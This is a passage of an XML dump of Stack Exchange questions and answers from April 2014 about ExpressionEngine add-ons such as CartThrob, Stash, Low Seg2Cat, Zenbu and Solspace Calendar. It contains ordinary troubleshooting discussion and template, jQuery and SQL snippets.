for one of my larger channels. I get no results back, but it's not timing out. It's instant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked recent entries and am seeing no issues in the data that would have caused this to suddenly occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What has me most confused is the sequence of events:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I received an email this morning, sent by my client last night, that he was seeing this behavior.&lt;/li&gt;&#xA;&lt;li&gt;I logged in this morning and did not see this behavior. I accessed the screen and pulled up the latest entry.&lt;/li&gt;&#xA;&lt;li&gt;I asked my client to clarify and he described the blank screen. I logged in again and saw the same thing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These entries &lt;em&gt;do&lt;/em&gt; appear in All Channels, just not in filtered views, which further implies that data is not the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this or would know where to look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2014-04-08T14:50:41.923" LastActivityDate="2015-09-13T12:16:28.917" Title="Zenbu returning blank screen or no results on channel filter" Tags="|control-panel|blank-screen|zenbu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21083" PostTypeId="1" CreationDate="2014-04-08T14:41:18.170" Score="0" ViewCount="973" Body="&lt;p&gt;Does exists something similar to &lt;a href=&quot;http://codecanyon.net/item/layerslider-responsive-wordpress-slider-plugin-/1362246&quot; rel=&quot;nofollow&quot;&gt;LayerSlider Responsive WordPress Slider Plugi&lt;/a&gt; for EE?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-08T17:27:01.703" Title="LayerSlider Responsive Slider for ExpressionEngine" Tags="|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21084" PostTypeId="1" CreationDate="2014-04-08T15:02:31.167" Score="1" ViewCount="88" Body="&lt;p&gt;I'm having an issue trying to get the inventory value for products loaded into a package. As far as I can see I have all the correct set up done, I can add a package and products to the cart - and can checkout with the correct products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have given the item_options modifier a data-stock attribute so I can check against this using JS and display a message if the item is out of stock. This works on a regular product channel but for some reason the {sub:inventory} tag is spitting out a really long random string. Any ideas what may be going on? Below is my item_options block which is inside a {packages_packages} tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; row_id=&quot;{sub:row_id}&quot;}&#xA;{if dynamic}&#xA;  &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;{input}&#xA;{if:else}&#xA;{if options_exist}&#xA;{if allow_selection}&#xA;  &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;{select class=&quot;chosen-size-select&quot;} &#xA;{if option_first_row}&#xA;  &amp;lt;option selected value=&quot;&quot;&amp;gt;Please select a size&amp;lt;/option&amp;gt;&#xA;{/if}&#xA;  &amp;lt;option {selected} value=&quot;{option_value}&quot; data-stock=&quot;{sub:inventory}&quot; data-option-price=&quot;{if option_price_numeric != 0}{option_price_numeric}{/if}&quot;&amp;gt;&#xA;  {option_name}{if option_price_numeric != 0} +{option_price_numeric}{/if}&#xA;&amp;lt;/option&amp;gt;&#xA;{/select}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/if}&#xA;{/if}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;URL for the result is here: &lt;a href=&quot;http://oyumoyu.com/shop/outfit/outfit-01&quot; rel=&quot;nofollow&quot;&gt;http://oyumoyu.com/shop/outfit/outfit-01&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2950" LastActivityDate="2014-04-08T15:02:31.167" Title="Carttrhob packages and price modifier inventory" Tags="|cartthrob|packages|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21085" PostTypeId="1" CreationDate="2014-04-08T15:24:13.660" Score="1" ViewCount="292" Body="&lt;p&gt;I'm going to move one Wordpress site to EE and they have using social feeds (twitter and facebook, I think multiple sources) displaying on their website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any addons for EE which can handle that or any suggestions? I have take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Data Grab&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/feed-parser&quot; rel=&quot;nofollow&quot;&gt;Feed Parser&lt;/a&gt;, but both will require to create own tags or templates to display those feeds.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-08T16:50:08.300" Title="Social feeds to display on EE driven website" Tags="|add-on|facebook|twitter|social|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21086" PostTypeId="2" ParentId="21081" CreationDate="2014-04-08T15:47:18.097" Score="0" Body="&lt;p&gt;Well found what I was looking for... &lt;a href=&quot;https://gist.github.com/aaronwaldon/8657432&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/aaronwaldon/8657432&lt;/a&gt;   Thanks Aaron!&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-04-08T15:47:18.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21087" PostTypeId="2" ParentId="21002" CreationDate="2014-04-08T16:18:04.380" Score="0" Body="&lt;p&gt;Just got a scheduled callback from CartThrob support and it was a simple 5-minute fix.  It turns out that the quantity field for each entry_id is required when using the {exp:cartthrob:multi_add_to_cart_form} tag pair.  In the single {exp:cartthrob:add_to_cart_form} tag no quantity field is necessary, and adding to cart that way defaults the quantity to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the following code now sends the correct information to the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;shopping_cart&quot;}&#xA;     {exp:channel:entries channel=&quot;products&quot; status=&quot;Open&quot;}&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{count}]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;quantity[{count}]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;     {/exp:channel:entries}&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-08T16:18:04.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21088" PostTypeId="2" ParentId="21085" CreationDate="2014-04-08T16:50:08.300" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/click-rain/EE_Twitter&quot; rel=&quot;nofollow&quot;&gt;EE_Twitter&lt;/a&gt; is a good free solution for embedding Tweets via the API (it does not create entries in EE's database).&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2014-04-08T16:50:08.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21089" PostTypeId="2" ParentId="21083" CreationDate="2014-04-08T17:12:30.533" Score="1" Body="&lt;p&gt;There isn't an image slider plugin for EE, but you can easily roll your own using something like Cycle - &lt;a href=&quot;http://jquery.malsup.com/cycle2/&quot; rel=&quot;nofollow&quot;&gt;http://jquery.malsup.com/cycle2/&lt;/a&gt; with your images either directly within EE's native content management, using something like Grid or Matrix, or in conjunction with one of the larger photo add-ons for EE like Channel Images or Photo Frame.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-04-08T17:12:30.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21090" PostTypeId="1" CreationDate="2014-04-08T17:20:13.580" Score="1" ViewCount="46" Body="&lt;p&gt;We've got two separate sites running with EE and on each we have the same problem:&#xA;Sometimes changes made in the admin panel just don't take effect. An example which happens frequently:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login as super user (user A)&lt;/li&gt;&#xA;&lt;li&gt;Move user B from admin group to a group unable to access admin panel&lt;/li&gt;&#xA;&lt;li&gt;View member groups page, see that B doesn't have access&lt;/li&gt;&#xA;&lt;li&gt;Refresh page, everything still looks good&lt;/li&gt;&#xA;&lt;li&gt;Logout/Login as A again, and B's permissions are back to enabled&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's getting pretty frustrating. Sometimes we have to refresh pages in the admin panel to get updates, sometimes changes we submit get the little checkmark but don't actually do anything - sometimes changes go live for a few hours and then revert back to how they were. It's like there's some bizarre caching going on in the admin panel but that doesn't even make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This recently started on our AWS server, but the switch to AWS also coincided with the launch of these EE sites, so we're not sure if they're related. Our IT guys have stated they've combed the server configurations and it's nothing on the server end, but I'm open to ideas.&lt;/p&gt;&#xA;" OwnerUserId="2951" LastActivityDate="2014-04-08T17:20:13.580" Title="Changes in my Admin Panel don't always take effect" Tags="|ee2|admin|caching|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21091" PostTypeId="2" ParentId="21083" CreationDate="2014-04-08T17:27:01.703" Score="2" Body="&lt;p&gt;Why not just use the &lt;a href=&quot;http://codecanyon.net/item/layerslider-responsive-jquery-slider-plugin/922100&quot; rel=&quot;nofollow&quot;&gt;non-Wordpress version of that plugin&lt;/a&gt;? You would just take the static HTML markup that the plugin uses to build and apply animations and replace them with markup coming from a loop in EE.  Similar to that, I've used &lt;a href=&quot;http://dimsemenov.com/plugins/royal-slider/&quot; rel=&quot;nofollow&quot;&gt;Royal Slider&lt;/a&gt; with EE, as well as &lt;a href=&quot;http://responsiveslides.com&quot; rel=&quot;nofollow&quot;&gt;ResponsiveSlides.js&lt;/a&gt; - essentially anything that uses HTML, CSS and jQuery for a slider effect can be used with EE - you just have to build your content model to suit whichever you choose.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-08T17:27:01.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21092" PostTypeId="2" ParentId="21015" CreationDate="2014-04-08T18:14:21.900" Score="3" Body="&lt;p&gt;This turned out to be a bug when Tag is used with other addons that add cache variables to the Sessions object before it actually exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround for the issue will be in Tag 4.2.7, which we are testing for release.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-08T18:14:21.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21093" PostTypeId="1" CreationDate="2014-04-08T18:28:39.783" Score="1" ViewCount="89" Body="&lt;p&gt;Having a issue trying to figure out how I can cache the majority of a site page but keep the opening/closing tag of a module uncached? (ie. &lt;code&gt;add_to_cart_form&lt;/code&gt;) Once the page is cached, the add to cart doesn't work as the forms &lt;code&gt;XID&lt;/code&gt; hash value has to be dynamic every page load. I'm sure it has something to do with the parse stage, but I have had no luck thus far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basics of what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache name=&quot;builder&quot; context=&quot;@URI&quot; parse_stage=&quot;both&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;sheds&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        url_title=&quot;{segment_2}&quot;&#xA;    }&#xA;&#xA;    ...&#xA;&#xA;    {stash:nocache}&#xA;        {exp:cartthrob:add_to_cart_form&#xA;            id=&quot;atc-form&quot;&#xA;            allow_user_shipping=&quot;yes&quot;&#xA;            entry_id=&quot;{exp:entry_data:entry_id url_title=&quot;{segment_2}&quot; channel=&quot;sheds&quot; site_id=&quot;1&quot;}&quot;&#xA;            return=&quot;cart/index&quot;&#xA;            secure_action=&quot;yes&quot;&#xA;            secure_return=&quot;yes&quot;&#xA;        }&#xA;    {/stash:nocache}&#xA;&#xA;    ...&#xA;&#xA;    {stash:nocache}&#xA;        {/exp:cartthrob:add_to_cart_form}&#xA;    {/stash:nocache}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:cache} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-10-14T10:29:24.210" Title="Caching Regions of template with Stash" Tags="|cartthrob|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21094" PostTypeId="1" AcceptedAnswerId="21098" CreationDate="2014-04-08T20:06:04.773" Score="0" ViewCount="403" Body="&lt;p&gt;I have code which looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;collection&quot; category_group=&quot;5&quot; category=&quot;{segment_2_category_id}&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect to retrive an entry from the channel named &quot;collection&quot; and with category ID# from category group ID#5, but what I'm getting is an entry (sometimes, it is based on segment_2) from category group ID#1. It looks like Low Seg2Cat is always pulling first category ID but not related to category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category name/url title from segment_2 exists in another category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-04-08T20:40:49.553" LastActivityDate="2014-04-08T21:37:35.400" Title="Category group and category ID from that group using Low Seg2Cat" Tags="|categories|low-seg2cat|category-group|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21095" PostTypeId="2" ParentId="21094" CreationDate="2014-04-08T20:55:18.327" Score="1" Body="&lt;p&gt;It seems the category url title's are not unique. Try making them unique and that should fix your issue as Low Seg2Cat queries the database and find the first match. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-04-08T20:55:18.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21096" PostTypeId="2" ParentId="21093" CreationDate="2014-04-08T21:23:07.827" Score="1" Body="&lt;p&gt;I don't think there's any way to nocache just the opening and closing tags -- you'd have to enclose all of &lt;code&gt;{exp:cart throb:add_to_cart_form} … {/exp:cartthrob:add_to_cart_form}&lt;/code&gt; inside of &lt;code&gt;{stash:nocache} …  {/stash:nocache}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there's an alternative approach that might work for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, typically when an EE tag generates an HTML form, the form output is a completely boilerplate, predictable chunk of HTML, but with a changing XID hash, e.g.: something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;blah&quot; method=&quot;post&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;999&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;absbfjhsfjbsdfksd18748&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA; ...&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you look at the HTML source output from your templates, if you see that &lt;code&gt;{exp:cart throb:add_to_cart_form}&lt;/code&gt; outputs a totally predictable pattern of HTML, then you may simply &lt;strong&gt;not&lt;/strong&gt; use &lt;code&gt;{exp:cart throb:add_to_cart_form}&lt;/code&gt; at all. Instead, in its place, you can add the actual form HTML to your template--but with one special EE tag, &lt;code&gt;{XID_HASH}&lt;/code&gt;, that generates a new XID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd end-up with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;blah&quot; method=&quot;post&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;999&quot;&amp;gt;&#xA;&#xA;    {stash:nocache}&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;    {/stash:nocache}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA; ...&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, then, with all of the &quot;final&quot; form HTML directly in your template, you'd need to nocache only the XID tag (or, as I show above, the HTML input that includes that &lt;code&gt;{XID_HASH}&lt;/code&gt; tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Added -- one potential gotcha:&lt;/strong&gt; one warning about using the manual approach -- with the hidden input with the ACT value, that value could conceivably be different between on different installs of EE, if you've separately installed (in this case) CartThrob. For example, on your dev machine, the ACT ID could be 50, but it could be 55 on your production machine. I try to make sure to never separately install add-ons on development / stage / production copies of a site. But if you reuse this code from one project to another, you might have an unavoidable change to make. And, worse case, you'd have to change that ACT value when moving the template code between environments / projects.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2014-04-08T21:29:08.983" LastActivityDate="2014-04-08T21:29:08.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21097" PostTypeId="2" ParentId="20939" CreationDate="2014-04-08T21:24:31.080" Score="1" Body="&lt;p&gt;Did you check the Channel(s) Preferences CP&gt;Admin&gt;Channels (Administrative Preferences) which field is used for search excerpts? And have you checked if the fields are searchable in your custom fields? CP&gt;Admin&gt;Channel Fields&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-04-08T21:24:31.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21098" PostTypeId="2" ParentId="21094" CreationDate="2014-04-08T21:37:35.400" Score="3" Body="&lt;p&gt;There is a setting to restrict to Category Groups in Seg2Cat -- see the &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;. Note that, by default, Seg2Cat has this caveat:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If there are multiple categories with the same url_title, but in&#xA;  different groups, this extension will only return one of those. So&#xA;  best make sure your category url_titles are unique, or you select the&#xA;  relevant Category Groups in the settings so they are.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have the option of using another plugin, instead of Seg2Cat, you could use &lt;a href=&quot;http://devot-ee.com/add-ons/cat2&quot; rel=&quot;nofollow&quot;&gt;Cat2&lt;/a&gt; (also on &lt;a href=&quot;https://github.com/croxton/cat2&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;). Cat2 allows you to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cat2:id category_url_title=&quot;{segment_2}&quot; category_group=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-04-08T21:37:35.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21099" PostTypeId="2" ParentId="21075" CreationDate="2014-04-09T04:12:30.740" Score="1" Body="&lt;p&gt;IF you are using the register a member tags you need to make sure that you have either a username or email address field in your template populated and both a password and a password confirm field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Username is the users email address:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA;&#xA;{!-- if you want people to be able to login with their email address you would the following (this is the approach I prefer) --}&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;    {field:order_email}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;    {field:password_confirm}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With a custom username:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA;&#xA;{!-- if you want people to be able to create a unique uername you would do the following --}&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;    {field:order_email}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;    {field:username}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;    {field:password_confirm}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;Exp-resso Documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Member accounts will be created based on the order_email, and the&#xA;  email address must not already be used for a member account. After&#xA;  creating the member account, any existing orders tied to that email&#xA;  address will be assigned to the new member.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Member accounts will only be created if a password fields is&#xA;  submitted. In addition, the username and screen_name fields are&#xA;  optional&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-09T04:12:30.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21100" PostTypeId="1" CreationDate="2014-04-09T04:22:34.933" Score="1" ViewCount="123" Body="&lt;p&gt;Shall i use the similar approach to implement next step feature from detail cart page to next page - via next url.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This below code i am using in Add to cart from product detail page - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(document).ready(function() {&#xA;            $('#considerthis').click(function() {&#xA;                var url = $(this.form).attr('action');&#xA;                var data = $(this.form).serialize();&#xA;                $.post(url, data, function() {&#xA;                    $('#ycgroup').load('/shop/_cart');&#xA;                });&#xA;                return false;&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2946" LastActivityDate="2014-04-09T04:22:34.933" Title="Ajax and Store - posting next url from check out form" Tags="|expresso-store|ajax|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21101" PostTypeId="1" CreationDate="2014-04-09T06:47:47.207" Score="1" ViewCount="319" Body="&lt;p&gt;I am really struggling to get the Solspace Calendar Module to do something that seems to me would be a fairly common requirement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use Case&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a travel site which is centered around package tours, and I've created calendar events for each tour's departure schedule.&lt;/li&gt;&#xA;&lt;li&gt;Tour departure events are multi-day, and have repeat rules to determine when the subsequent 'occurrences' will be scheduled.&lt;/li&gt;&#xA;&lt;li&gt;Typically a given tour could have a range of departures that starts in say, January, and ends in December. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I need to output the following&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;day-by-day calendar template&lt;/li&gt;&#xA;&lt;li&gt;listing tour departures ('occurrences') for each day, for the next month or so. &lt;/li&gt;&#xA;&lt;li&gt;I do not want to show multi-day occurrences that &lt;strong&gt;already started&lt;/strong&gt; as this is not useful information for someone who wants to join a tour at the point of departure.&lt;/li&gt;&#xA;&lt;li&gt;I would prefer not to use in-template conditionals to filter out occurrences that already started, because I'm dealing with a lot of data - over 300 tours with 5-50 occurrences for each - and this will be resource intensive, as well as pretty clumsy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;{exp:calendar:cal} template tag&lt;/strong&gt; (and all other template tags) - eg:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:calendar:cal&#xA;      date_range_start=&quot;tomorrow&quot; &#xA;      pad_short_weeks=&quot;n&quot; &#xA;      date_range_end=&quot;1 month&quot; &#xA;      first_day_of_week=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{display_each_day} output occurrence start dates here {/display_each_day}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;{/exp:calendar:cal}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fails because it kicks out all occurrences that are &lt;strong&gt;in progress&lt;/strong&gt; on the day specified, rather than just the occurrences that &lt;strong&gt;start&lt;/strong&gt; on the day specified. So I'm seeing events that started before the date range, but are still in progress. Some tours are as long as 56 days, so results will be way out for a daily departure listing.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom Query&lt;/strong&gt; - I was sure this would solve it, but no joy so far.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SELECT &#xA;              exp_channel_titles.title AS t_title,&#xA;              exp_channel_data.entry_id AS d_entry_id&#xA;            FROM exp_calendar_events_occurrences&lt;br&gt;&#xA;              LEFT JOIN exp_calendar_events ON exp_calendar_events_occurrences.event_id =&#xA;  exp_calendar_events.event_id&#xA;              LEFT JOIN exp_channel_titles  ON exp_calendar_events_occurrences.entry_id = exp_channel_titles.entry_id&#xA;              LEFT JOIN exp_channel_data    ON exp_channel_titles.entry_id              = exp_channel_data.entry_id &#xA;            WHERE exp_calendar_events_occurrences.start_date   = '{date format=&quot;%Y%m%d&quot;}' &#xA;              AND exp_calendar_events_occurrences.calendar_id = '887'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this fails because the exp_calendar_events_occurrences table does not appear to actually contain &lt;strong&gt;&lt;em&gt;all occurrences&lt;/em&gt;&lt;/strong&gt;. I'm guessing event rules are used by the module to output repeat occurrences that do not appear with this approach.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2953" LastEditorUserId="2953" LastEditDate="2014-04-09T07:17:48.470" LastActivityDate="2016-03-07T01:07:50.933" Title="Solspace Calendar - output day-by-day list of occurrence start dates" Tags="|solspace|solspace-calendar|calendar|events|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21102" PostTypeId="1" CreationDate="2014-04-09T09:42:26.987" Score="0" ViewCount="69" Body="&lt;p&gt;I'm using Solspace Users as well as Facebook Connect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all new member registrations through User I have username set to always use email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also creating new members with passive registration through Facebook Connect's login button. However, when members are registered passively it looks like the username is being automatically created based on screen name with underscores, rather than using the email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all members, including those created with FBC's passive registration, to use email as username - otherwise if someone logs in with facebook and then later tries to login with email and password, they won't be able to login the traditional way because their username is not properly set as their email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What do I change in FBC to get it to behave this way, so that passive registrations have the same format as if they were manual registrations through 